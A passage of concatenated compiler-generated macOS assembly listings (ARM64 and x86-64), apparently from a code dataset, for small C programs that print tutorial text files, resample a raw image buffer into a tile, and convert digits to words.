LBB3_1: adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf b LBB3_2 LBB3_2: adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf b LBB3_3 LBB3_3: ; =>This Inner Loop Header: Depth=1 ldr x0, [sp, #16] bl _feof subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB3_5 b LBB3_4 LBB3_4: ; in Loop: Header=BB3_3 Depth=1 ldr x0, [sp, #16] bl _fgetc mov x9, sp ; implicit-def: $x8 mov x8, x0 str x8, [x9] adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _printf b LBB3_3 LBB3_5: ldur w0, [x29, #-4] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _call ; -- Begin function call .p2align 2 _call: ; @call .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x0, l_.str.8@PAGE add x0, x0, l_.str.8@PAGEOFF adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF bl _fopen str x0, [sp, #16] ldr x8, [sp, #16] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB4_2 b LBB4_1 LBB4_1: adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf b LBB4_2 LBB4_2: adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf b LBB4_3 LBB4_3: ; =>This Inner Loop Header: Depth=1 ldr x0, [sp, #16] bl _feof subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB4_5 b LBB4_4 LBB4_4: ; in Loop: Header=BB4_3 Depth=1 ldr x0, [sp, #16] bl _fgetc mov x9, sp ; implicit-def: $x8 mov x8, x0 str x8, [x9] adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _printf b LBB4_3 LBB4_5: ldur w0, [x29, #-4] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "src/text_src/func intro.txt" l_.str.1: ; @.str.1 .asciz "r+" l_.str.2: ; @.str.2 .asciz "file cant be opened" l_.str.3: ; @.str.3 .asciz "\n\n" l_.str.4: ; @.str.4 .asciz "%c" l_.str.5: ; @.str.5 .asciz "src/text_src/funcdef.txt" l_.str.6: ; @.str.6 .asciz "src/text_src/retrn.txt" l_.str.7: ; @.str.7 .asciz "src/text_src/typefunc.txt" l_.str.8: ; @.str.8 .asciz "src/text_src/call.txt" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _func_intro ## -- Begin function func_intro .p2align 4, 0x90 _func_intro: ## @func_intro .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp leaq L_.str(%rip), %rdi leaq L_.str.1(%rip), %rsi callq _fopen movq %rax, -16(%rbp) cmpq $0, -16(%rbp) jne LBB0_2 ## %bb.1: leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf LBB0_2: leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf LBB0_3: ## =>This Inner Loop Header: Depth=1 movq -16(%rbp), %rdi callq _feof cmpl $0, %eax setne %al xorb $-1, %al testb $1, %al jne LBB0_4 jmp LBB0_5 LBB0_4: ## in Loop: Header=BB0_3 Depth=1 movq -16(%rbp), %rdi callq _fgetc movl %eax, %esi leaq L_.str.4(%rip), %rdi movb $0, %al callq _printf jmp LBB0_3 LBB0_5: movl -4(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _funcdef ## -- Begin function funcdef .p2align 4, 0x90 _funcdef: ## @funcdef .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp leaq L_.str.5(%rip), %rdi leaq L_.str.1(%rip), %rsi callq _fopen movq %rax, -16(%rbp) cmpq $0, -16(%rbp) jne LBB1_2 ## %bb.1: leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf LBB1_2: leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf LBB1_3: ## =>This Inner Loop Header: Depth=1 movq -16(%rbp), %rdi callq _feof cmpl $0, %eax setne %al xorb $-1, %al testb $1, %al jne LBB1_4 jmp LBB1_5 LBB1_4: ## in Loop: Header=BB1_3 Depth=1 movq -16(%rbp), %rdi callq _fgetc movl %eax, %esi leaq L_.str.4(%rip), %rdi movb $0, %al callq _printf jmp LBB1_3 LBB1_5: movl -4(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _retrn ## -- Begin function retrn .p2align 4, 0x90 _retrn: ## @retrn .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp leaq L_.str.6(%rip), %rdi leaq L_.str.1(%rip), %rsi callq _fopen movq %rax, -16(%rbp) cmpq $0, -16(%rbp) jne LBB2_2 ## %bb.1: leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf LBB2_2: leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf LBB2_3: ## =>This Inner Loop Header: Depth=1 movq -16(%rbp), %rdi callq _feof cmpl $0, %eax setne %al xorb $-1, %al testb $1, %al jne LBB2_4 jmp LBB2_5 LBB2_4: ## in Loop: Header=BB2_3 Depth=1 movq -16(%rbp), %rdi callq _fgetc movl %eax, %esi leaq L_.str.4(%rip), %rdi movb $0, %al callq _printf jmp LBB2_3 LBB2_5: movl -4(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _typefunc ## -- Begin function typefunc .p2align 4, 0x90 _typefunc: ## @typefunc .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp leaq L_.str.7(%rip), %rdi leaq L_.str.1(%rip), %rsi callq _fopen movq %rax, -16(%rbp) cmpq $0, -16(%rbp) jne LBB3_2 ## %bb.1: leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf LBB3_2: leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf LBB3_3: ## =>This Inner Loop Header: Depth=1 movq -16(%rbp), %rdi callq _feof cmpl $0, %eax setne %al xorb $-1, %al testb $1, %al jne LBB3_4 jmp LBB3_5 LBB3_4: ## in Loop: Header=BB3_3 Depth=1 movq -16(%rbp), %rdi callq _fgetc movl %eax, %esi leaq L_.str.4(%rip), %rdi movb $0, %al callq _printf jmp LBB3_3 LBB3_5: movl -4(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _call ## -- Begin function call .p2align 4, 0x90 _call: ## @call .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp leaq L_.str.8(%rip), %rdi leaq L_.str.1(%rip), %rsi callq _fopen movq %rax, -16(%rbp) cmpq $0, -16(%rbp) jne LBB4_2 ## %bb.1: leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf LBB4_2: leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf LBB4_3: ## =>This Inner Loop Header: Depth=1 movq -16(%rbp), %rdi callq _feof cmpl $0, %eax setne %al xorb $-1, %al testb $1, %al jne LBB4_4 jmp LBB4_5 LBB4_4: ## in Loop: Header=BB4_3 Depth=1 movq -16(%rbp), %rdi callq _fgetc movl %eax, %esi leaq L_.str.4(%rip), %rdi movb $0, %al callq _printf jmp LBB4_3 LBB4_5: movl -4(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "src/text_src/func intro.txt" L_.str.1: ## @.str.1 .asciz "r+" L_.str.2: ## @.str.2 .asciz "file cant be opened" L_.str.3: ## @.str.3 .asciz "\n\n" L_.str.4: ## @.str.4 .asciz "%c" L_.str.5: ## @.str.5 .asciz "src/text_src/funcdef.txt" L_.str.6: ## @.str.6 .asciz "src/text_src/retrn.txt" L_.str.7: ## @.str.7 .asciz "src/text_src/typefunc.txt" L_.str.8: ## @.str.8 .asciz "src/text_src/call.txt" .subsections_via_symbols
the_stack_data/40763522.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #128 .cfi_def_cfa_offset 128 stp x29, x30, [sp, #112] ; 16-byte Folded Spill add x29, sp, #112 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, ___stderrp@GOTPAGE ldr x8, [x8, ___stderrp@GOTPAGEOFF] str x8, [sp, #32] ; 8-byte Folded Spill stur wzr, [x29, #-4] stur w0, [x29, #-8] stur x1, [x29, #-16] ldur w8, [x29, #-8] subs w8, w8, #3 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr x8, [sp, #32] ; 8-byte Folded Reload ldr x0, [x8] ldur x8, [x29, #-16] ldr x8, [x8] mov x9, sp str x8, [x9] adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF bl _fprintf mov w0, #1 bl _exit LBB0_2: ldur x8, [x29, #-16] ldr x0, [x8, #8] adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF bl _fopen stur x0, [x29, #-24] ldur x8, [x29, #-24] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ldr x8, [sp, #32] ; 8-byte Folded Reload ldr x0, [x8] ldur x8, [x29, #-16] ldr x8, [x8, #8] mov x9, sp str x8, [x9] adrp x1, l_.str.2@PAGE add x1, x1, l_.str.2@PAGEOFF bl _fprintf mov w0, #1 bl _exit LBB0_4: ldur x8, [x29, #-16] ldr x0, [x8, #16] adrp x1, l_.str.3@PAGE add x1, x1, l_.str.3@PAGEOFF bl _fopen stur x0, [x29, #-32] ldur x8, [x29, #-32] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_6 b LBB0_5 LBB0_5: ldr x8, [sp, #32] ; 8-byte Folded Reload ldr x0, [x8] ldur x8, [x29, #-16] ldr x8, [x8, #16] mov x9, sp str x8, [x9] adrp x1, l_.str.4@PAGE add x1, x1, l_.str.4@PAGEOFF bl _fprintf mov w0, #1 bl _exit LBB0_6: mov x0, #57600 str x0, [sp, #16] ; 8-byte Folded Spill mov x1, #1 str x1, [sp, #24] ; 8-byte Folded Spill bl _calloc ldr x1, [sp, #24] ; 8-byte Folded Reload stur x0, [x29, #-40] mov x0, #65536 bl _calloc ldr x1, [sp, #16] ; 8-byte Folded Reload ldr x2, [sp, #24] ; 8-byte Folded Reload stur x0, [x29, #-48] ldur x0, [x29, #-40] ldur x3, [x29, #-24] bl _fread str x0, [sp, #56] ldr x8, [sp, #56] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_8 b LBB0_7 LBB0_7: ldr x8, [sp, #32] ; 8-byte Folded Reload ldr x0, [x8] ldur x8, [x29, #-16] ldr x8, [x8, #8] mov x9, sp str x8, [x9] adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF bl _fprintf mov w0, #1 bl _exit LBB0_8: ldur x0, [x29, #-24] bl _fclose ldur x0, [x29, #-40] ldur x1, [x29, #-48] bl _resample ldur x0, [x29, #-48] bl _compute_color_scale str s0, [sp, #52] ldur x0, [x29, #-48] ldr s0, [sp, #52] bl _downscale_colour ldur x0, [x29, #-48] ldur x3, [x29, #-32] mov x1, #65536 mov x2, #1 bl _fwrite str x0, [sp, #40] ldr x8, [sp, #40] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_10 b LBB0_9 LBB0_9: ldr x8, [sp, #32] ; 8-byte Folded Reload ldr x0, [x8] ldur x8, [x29, #-16] ldr x8, [x8, #16] mov x9, sp str x8, [x9] adrp x1, l_.str.6@PAGE add x1, x1, l_.str.6@PAGEOFF bl _fprintf mov w0, #1 bl _exit LBB0_10: ldur x0, [x29, #-32] bl _fclose ldur x0, [x29, #-40] bl _free ldur x0, [x29, #-48] bl _free mov w0, #0 bl _exit .cfi_endproc ; -- End function .p2align 2 ; -- Begin function resample _resample: ; @resample .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 str x0, [sp, #24] str x1, [sp, #16] fmov s0, #1.25000000 str s0, [sp, #12] str wzr, [sp, #8] b LBB1_1 LBB1_1: ; =>This Loop Header: Depth=1 ; Child Loop BB1_3 Depth 2 ldr w8, [sp, #8] subs w8, w8, #180 cset w8, hs tbnz w8, #0, LBB1_8 b LBB1_2 LBB1_2: ; in Loop: Header=BB1_1 Depth=1 movi d0, #0000000000000000 str s0, [sp, #4] str wzr, [sp] b LBB1_3 LBB1_3: ; Parent Loop BB1_1 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w8, [sp] subs w8, w8, #255 cset w8, hs tbnz w8, #0, LBB1_6 b LBB1_4 LBB1_4: ; in Loop: Header=BB1_3 Depth=2 ldr x8, [sp, #24] ldr s0, [sp, #4] fcvtzs w9, s0 ldr w10, [sp, #8] mov w11, #320 mul w10, w10, w11 add w9, w9, w10 ; kill: def $x9 killed $w9 add x8, x8, x9 ldrb w8, [x8] ldr x9, [sp, #16] ldr w10, [sp] ldr w11, [sp, #8] add w10, w10, w11, lsl #8 ; kill: def $x10 killed $w10 add x9, x9, x10 strb w8, [x9] ldr s1, [sp, #12] ldr s0, [sp, #4] fadd s0, s0, s1 str s0, [sp, #4] b LBB1_5 LBB1_5: ; in Loop: Header=BB1_3 Depth=2 ldr w8, [sp] add w8, w8, #1 str w8, [sp] b LBB1_3 LBB1_6: ; in Loop: Header=BB1_1 Depth=1 b LBB1_7 LBB1_7: ; in Loop: Header=BB1_1 Depth=1 ldr w8, [sp, #8] add w8, w8, #1 str w8, [sp, #8] b LBB1_1 LBB1_8: add sp, sp, #32 ret .cfi_endproc ; -- End function .p2align 2 ; -- Begin function compute_color_scale _compute_color_scale: ; @compute_color_scale .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 str x0, [sp, #24] str wzr, [sp, #20] str wzr, [sp, #16] b LBB2_1 LBB2_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #16] subs w8, w8, #16, lsl #12 ; =65536 cset w8, hs tbnz w8, #0, LBB2_6 b LBB2_2 LBB2_2: ; in Loop: Header=BB2_1 Depth=1 ldr x8, [sp, #24] ldr w9, [sp, #16] ; kill: def $x9 killed $w9 ldrb w8, [x8, x9] ldr w9, [sp, #20] subs w8, w8, w9 cset w8, ls tbnz w8, #0, LBB2_4 b LBB2_3 LBB2_3: ; in Loop: Header=BB2_1 Depth=1 ldr x8, [sp, #24] ldr w9, [sp, #16] ; kill: def $x9 killed $w9 ldrb w8, [x8, x9] str w8, [sp, #20] b LBB2_4 LBB2_4: ; in Loop: Header=BB2_1 Depth=1 b LBB2_5 LBB2_5: ; in Loop: Header=BB2_1 Depth=1 ldr w8, [sp, #16] add w8, w8, #1 str w8, [sp, #16] b LBB2_1 LBB2_6: ldr s0, [sp, #20] ucvtf s1, s0 fmov s0, #16.00000000 fdiv s0, s0, s1 str s0, [sp, #12] ldr s0, [sp, #12] add sp, sp, #32 ret .cfi_endproc ; -- End function .p2align 2 ; -- Begin function downscale_colour _downscale_colour: ; @downscale_colour .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str x0, [sp, #8] str s0, [sp, #4] str wzr, [sp] b LBB3_1 LBB3_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp] subs w8, w8, #16, lsl #12 ; =65536 cset w8, hs tbnz w8, #0, LBB3_4 b LBB3_2 LBB3_2: ; in Loop: Header=BB3_1 Depth=1 ldr x8, [sp, #8] ldr w9, [sp] ; kill: def $x9 killed $w9 add x8, x8, x9 ldrb w8, [x8] ucvtf s0, w8 ldr s1, [sp, #4] fmul s0, s0, s1 fcvtzu w8, s0 ldr x9, [sp, #8] ldr w10, [sp] ; kill: def $x10 killed $w10 strb w8, [x9, x10] b LBB3_3 LBB3_3: ; in Loop: Header=BB3_1 Depth=1 ldr w8, [sp] add w8, w8, #1 str w8, [sp] b LBB3_1 LBB3_4: add sp, sp, #16 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Usage: %s buffer.raw tile.raw\n" l_.str.1: ; @.str.1 .asciz "r" l_.str.2: ; @.str.2 .asciz "FATAL - Could not open <%s> for reading.\n" l_.str.3: ; @.str.3 .asciz "w" l_.str.4: ; @.str.4 .asciz "FATAL - Could not open <%s> for writing.\n" l_.str.5: ; @.str.5 .asciz "FATAL - Could no read data from <%s>.\n" l_.str.6: ; @.str.6 .asciz "FATAL - Could no write data to <%s>.\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $80, %rsp movl $0, -4(%rbp) movl %edi, -8(%rbp) movq %rsi, -16(%rbp) cmpl $3, -8(%rbp) je LBB0_2 ## %bb.1: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi movq -16(%rbp), %rax movq (%rax), %rdx leaq L_.str(%rip), %rsi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _fprintf movl $1, %edi callq _exit LBB0_2: movq -16(%rbp), %rax movq 8(%rax), %rdi leaq L_.str.1(%rip), %rsi callq _fopen movq %rax, -24(%rbp) cmpq $0, -24(%rbp) jne LBB0_4 ## %bb.3: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi movq -16(%rbp), %rax movq 8(%rax), %rdx leaq L_.str.2(%rip), %rsi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _fprintf movl $1, %edi callq _exit LBB0_4: movq -16(%rbp), %rax movq 16(%rax), %rdi leaq L_.str.3(%rip), %rsi callq _fopen movq %rax, -32(%rbp) cmpq $0, -32(%rbp) jne LBB0_6 ## %bb.5: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi movq -16(%rbp), %rax movq 16(%rax), %rdx leaq L_.str.4(%rip), %rsi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _fprintf movl $1, %edi callq _exit LBB0_6: movl $57600, %edi ## imm = 0xE100 movl $1, %esi callq _calloc movq %rax, -40(%rbp) movl $65536, %edi ## imm = 0x10000 movl $1, %esi callq _calloc movq %rax, -48(%rbp) movq -40(%rbp), %rdi movq -24(%rbp), %rcx movl $57600, %esi ## imm = 0xE100 movl $1, %edx callq _fread movq %rax, -56(%rbp) cmpq $0, -56(%rbp) jne LBB0_8 ## %bb.7: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi movq -16(%rbp), %rax movq 8(%rax), %rdx leaq L_.str.5(%rip), %rsi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _fprintf movl $1, %edi callq _exit LBB0_8: movq -24(%rbp), %rdi callq _fclose movq -40(%rbp), %rdi movq -48(%rbp), %rsi callq _resample movq -48(%rbp), %rdi callq _compute_color_scale movss %xmm0, -60(%rbp) movq -48(%rbp), %rdi movss -60(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero callq _downscale_colour movq -48(%rbp), %rdi movq -32(%rbp), %rcx movl $65536, %esi ## imm = 0x10000 movl $1, %edx callq _fwrite movq %rax, -72(%rbp) cmpq $0, -72(%rbp) jne LBB0_10 ## %bb.9: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi movq -16(%rbp), %rax movq 16(%rax), %rdx leaq L_.str.6(%rip), %rsi xorl %eax, %eax ## kill: def $al killed $al killed $eax callq _fprintf movl $1, %edi callq _exit LBB0_10: movq -32(%rbp), %rdi callq _fclose movq -40(%rbp), %rdi callq _free movq -48(%rbp), %rdi callq _free xorl %edi, %edi callq _exit .cfi_endproc ## -- End function .section __TEXT,__literal4,4byte_literals .p2align 2 ## -- Begin function resample LCPI1_0: .long 0x3fa00000 ## float 1.25 .section __TEXT,__text,regular,pure_instructions .p2align 4, 0x90 _resample: ## @resample .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movss LCPI1_0(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -20(%rbp) movl $0, -24(%rbp) LBB1_1: ## =>This Loop Header: Depth=1 ## Child Loop BB1_3 Depth 2 cmpl $180, -24(%rbp) jae LBB1_8 ## %bb.2: ## in Loop: Header=BB1_1 Depth=1 xorps %xmm0, %xmm0 movss %xmm0, -28(%rbp) movl $0, -32(%rbp) LBB1_3: ## Parent Loop BB1_1 Depth=1 ## => This Inner Loop Header: Depth=2 cmpl $255, -32(%rbp) jae LBB1_6 ## %bb.4: ## in Loop: Header=BB1_3 Depth=2 movq -8(%rbp), %rax cvttss2si -28(%rbp), %ecx imull $320, -24(%rbp), %edx ## imm = 0x140 addl %edx, %ecx movl %ecx, %ecx ## kill: def $rcx killed $ecx movb (%rax,%rcx), %dl movq -16(%rbp), %rax movl -32(%rbp), %ecx movl -24(%rbp), %esi shll $8, %esi addl %esi, %ecx movl %ecx, %ecx ## kill: def $rcx killed $ecx movb %dl, (%rax,%rcx) movss -20(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero addss -28(%rbp), %xmm0 movss %xmm0, -28(%rbp) ## %bb.5: ## in Loop: Header=BB1_3 Depth=2 movl -32(%rbp), %eax addl $1, %eax movl %eax, -32(%rbp) jmp LBB1_3 LBB1_6: ## in Loop: Header=BB1_1 Depth=1 jmp LBB1_7 LBB1_7: ## in Loop: Header=BB1_1 Depth=1 movl -24(%rbp), %eax addl $1, %eax movl %eax, -24(%rbp) jmp LBB1_1 LBB1_8: popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__literal4,4byte_literals .p2align 2 ## -- Begin function compute_color_scale LCPI2_0: .long 0x41800000 ## float 16 .section __TEXT,__text,regular,pure_instructions .p2align 4, 0x90 _compute_color_scale: ## @compute_color_scale .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -8(%rbp) movl $0, -12(%rbp) movl $0, -16(%rbp) LBB2_1: ## =>This Inner Loop Header: Depth=1 cmpl $65536, -16(%rbp) ## imm = 0x10000 jae LBB2_6 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 movq -8(%rbp), %rax movl -16(%rbp), %ecx ## kill: def $rcx killed $ecx movzbl (%rax,%rcx), %eax cmpl -12(%rbp), %eax jbe LBB2_4 ## %bb.3: ## in Loop: Header=BB2_1 Depth=1 movq -8(%rbp), %rax movl -16(%rbp), %ecx ## kill: def $rcx killed $ecx movzbl (%rax,%rcx), %eax movl %eax, -12(%rbp) LBB2_4: ## in Loop: Header=BB2_1 Depth=1 jmp LBB2_5 LBB2_5: ## in Loop: Header=BB2_1 Depth=1 movl -16(%rbp), %eax addl $1, %eax movl %eax, -16(%rbp) jmp LBB2_1 LBB2_6: movl -12(%rbp), %eax ## kill: def $rax killed $eax cvtsi2ss %rax, %xmm1 movss LCPI2_0(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero divss %xmm1, %xmm0 movss %xmm0, -20(%rbp) movss -20(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero popq %rbp retq .cfi_endproc ## -- End function .p2align 4, 0x90 ## -- Begin function downscale_colour _downscale_colour: ## @downscale_colour .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -8(%rbp) movss %xmm0, -12(%rbp) movl $0, -16(%rbp) LBB3_1: ## =>This Inner Loop Header: Depth=1 cmpl $65536, -16(%rbp) ## imm = 0x10000 jae LBB3_4 ## %bb.2: ## in Loop: Header=BB3_1 Depth=1 movq -8(%rbp), %rax movl -16(%rbp), %ecx ## kill: def $rcx killed $ecx movzbl (%rax,%rcx), %eax cvtsi2ss %eax, %xmm0 movss -12(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero mulss %xmm1, %xmm0 cvttss2si %xmm0, %eax movb %al, %dl movq -8(%rbp), %rax movl -16(%rbp), %ecx ## kill: def $rcx killed $ecx movb %dl, (%rax,%rcx) ## %bb.3: ## in Loop: Header=BB3_1 Depth=1 movl -16(%rbp), %eax addl $1, %eax movl %eax, -16(%rbp) jmp LBB3_1 LBB3_4: popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Usage: %s buffer.raw tile.raw\n" L_.str.1: ## @.str.1 .asciz "r" L_.str.2: ## @.str.2 .asciz "FATAL - Could not open <%s> for reading.\n" L_.str.3: ## @.str.3 .asciz "w" L_.str.4: ## @.str.4 .asciz "FATAL - Could not open <%s> for writing.\n" L_.str.5: ## @.str.5 .asciz "FATAL - Could no read data from <%s>.\n" L_.str.6: ## @.str.6 .asciz "FATAL - Could no write data to <%s>.\n" .subsections_via_symbols
the_stack_data/802449.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf mov x9, sp sub x8, x29, #8 str x8, [x9] sub x8, x29, #12 str x8, [x9, #8] sub x8, x29, #16 str x8, [x9, #16] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _scanf ldur w8, [x29, #-8] mov w10, #10 sdiv w9, w8, w10 mul w9, w9, w10 subs w8, w8, w9 subs w8, w8, #1 ; kill: def $x8 killed $w8 stur x8, [x29, #-24] ; 8-byte Folded Spill subs x8, x8, #8 cset w8, hi tbnz w8, #0, LBB0_11 ; %bb.1: ldur x11, [x29, #-24] ; 8-byte Folded Reload adrp x10, lJTI0_0@PAGE add x10, x10, lJTI0_0@PAGEOFF Ltmp0: adr x8, Ltmp0 ldrsw x9, [x10, x11, lsl #2] add x8, x8, x9 br x8 LBB0_2: adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf b LBB0_11 LBB0_3: adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf b LBB0_11 LBB0_4: adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _printf b LBB0_11 LBB0_5: adrp x0, l_.str.5@PAGE add x0, x0, l_.str.5@PAGEOFF bl _printf b LBB0_11 LBB0_6: adrp x0, l_.str.6@PAGE add x0, x0, l_.str.6@PAGEOFF bl _printf b LBB0_11 LBB0_7: adrp x0, l_.str.7@PAGE add x0, x0, l_.str.7@PAGEOFF bl _printf b LBB0_11 LBB0_8: adrp x0, l_.str.8@PAGE add x0, x0, l_.str.8@PAGEOFF bl _printf b LBB0_11 LBB0_9: adrp x0, l_.str.9@PAGE add x0, x0, l_.str.9@PAGEOFF bl _printf b LBB0_11 LBB0_10: adrp x0, l_.str.10@PAGE add x0, x0, l_.str.10@PAGEOFF bl _printf b LBB0_11 LBB0_11: ldur w8, [x29, #-12] mov w10, #10 sdiv w9, w8, w10 mul w9, w9, w10 subs w8, w8, w9 subs w8, w8, #0 ; kill: def $x8 killed $w8 stur x8, [x29, #-32] ; 8-byte Folded Spill subs x8, x8, #9 cset w8, hi tbnz w8, #0, LBB0_35 ; %bb.12: ldur x11, [x29, #-32] ; 8-byte Folded Reload adrp x10, lJTI0_1@PAGE add x10, x10, lJTI0_1@PAGEOFF Ltmp1: adr x8, Ltmp1 ldrsw x9, [x10, x11, lsl #2] add x8, x8, x9 br x8 LBB0_13: b LBB0_35 LBB0_14: ldur w8, [x29, #-16] mov w10, #10 sdiv w9, w8, w10 mul w9, w9, w10 subs w8, w8, w9 subs w8, w8, #0 ; kill: def $x8 killed $w8 str x8, [sp, #40] ; 8-byte Folded Spill subs x8, x8, #9 cset w8, hi tbnz w8, #0, LBB0_26 ; %bb.15: ldr x11, [sp, #40] ; 8-byte Folded Reload adrp x10, lJTI0_2@PAGE add x10, x10, lJTI0_2@PAGEOFF Ltmp2: adr x8, Ltmp2 ldrsw x9, [x10, x11, lsl #2] add x8, x8, x9 br x8 LBB0_16: adrp x0, l_.str.11@PAGE add x0, x0, l_.str.11@PAGEOFF bl _printf b LBB0_26 LBB0_17: adrp x0, l_.str.12@PAGE add x0, x0, l_.str.12@PAGEOFF bl _printf b LBB0_26 LBB0_18: adrp x0, l_.str.13@PAGE add x0, x0, 